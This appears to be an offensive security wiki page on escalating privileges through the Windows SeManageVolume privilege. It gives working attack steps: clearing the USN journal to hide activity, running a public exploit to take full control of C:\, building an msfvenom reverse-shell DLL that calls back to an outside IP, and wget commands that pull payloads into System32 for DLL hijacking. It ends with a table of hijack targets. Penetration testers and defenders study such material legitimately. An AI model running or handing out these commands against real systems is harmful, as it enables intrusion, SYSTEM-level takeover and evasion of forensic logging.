# SeManageVolume

The `SeManageVolume` privilege (aka Manage Volume) allows **direct control over NTFS volumes**, including the ability to clear the Update Sequence Number (USN) change journal, which logs every file and directory modification on a volume for forensic and backup purposes. Clearing the journal erases this history, making post-exploitation activity harder to detect.&#x20;

Beyond this, the privilege can be actively exploited to gain **write access to the entire volume**. Tools such as [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) can leverage the privilege to modify permissions across `C:\`, effectively granting full control over all files and directories.

```powershell
# Check permissions
> whoami /priv
​
Privilege Name                Description                      State
============================= ================================ ========
SeManageVolumePrivilege       Perform volume maintenance tasks Disabled

# Run the exploit
> .\SeManageVolumeExploit.exe

# Check volume permissions
> icacls c:\
c:\ NT AUTHORITY\SYSTEM:(OI)(CI)(F)
    BUILTIN\Users:(OI)(CI)(F) # Full Access
```

A `SYSTEM` level shell can be gain via DLL hijacking. For example, the `tzres.dll` can be used to perform a DLL hijack on `systeminfo`.&#x20;

{% code overflow="wrap" %}
```bash
# Create a malicious DLL
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=80 -f dll -o tzres.dll
```
{% endcode %}

Dropping the malicious DLL to `C:\Windows\system32\wbem\tzres.dll` and running `systeminfo` will load the DLL, executing code as `NT AUTHORITY\NETWORK SERVICE`.

{% code overflow="wrap" %}
```powershell
> wget 192.168.45.241:443/tzres.dll -O c:\windows\system32\wbem\tzres.dll
> systeminfo
```
{% endcode %}

The `phoneinfo.dll` can be also leveraged as shown [here](https://github.com/sailay1996/WerTrigger%E2%80%8B):

```powershell
> wget 192.168.45.241:443/phoneinfo.dll -O c:\windows\system32\phoneinfo.dll
> wget 192.168.45.241:443/Report.wer -O Report.wer
> wget 192.168.45.241:443/WerTrigger.exe -O WerTrigger.exe
> wget 192.168.45.241:443/revshell.exe -O revshell.exe
> .\WerTrigger.exe
c:\users\public\revshell.exe
```

Other high-value DLL hijack targets for common Windows binaries:

<table><thead><tr><th width="145">Binary</th><th width="294">DLL(s) to Hijack</th><th>Drop Location</th></tr></thead><tbody><tr><td><code>systeminfo.exe</code></td><td><code>tzres.dll</code>, <code>wbemcomn.dll</code></td><td><code>C:\Windows\System32\wbem\</code></td></tr><tr><td><code>taskmgr.exe</code></td><td><code>UIAutomationCore.dll</code></td><td><code>C:\Windows\System32\</code></td></tr><tr><td><code>eventvwr.exe</code></td><td><code>mmc.dll</code>, <code>wevtapi.dll</code></td><td><code>C:\Windows\System32\</code></td></tr><tr><td><code>notepad.exe</code></td><td><code>dbghelp.dll</code>, <code>msvcrt.dll</code></td><td><code>C:\Windows\System32\</code></td></tr><tr><td><code>perfmon.exe</code></td><td><code>perfts.dll</code>, <code>perfc009.dll</code></td><td><code>C:\Windows\System32\</code></td></tr><tr><td><code>wmic.exe</code></td><td><code>fastprox.dll</code>, <code>wbemcomn.dll</code>, <code>wmiprvsd.dll</code></td><td><code>C:\Windows\System32\wbem\</code></td></tr><tr><td><code>winmgmt.exe</code></td><td><code>fastprox.dll</code>, <code>wbemcomn.dll</code></td><td><code>C:\Windows\System32\wbem\</code></td></tr><tr><td><code>mstsc.exe</code></td><td><code>rdpencom.dll</code>, <code>tsres.dll</code></td><td><code>C:\Windows\System32\</code></td></tr></tbody></table>
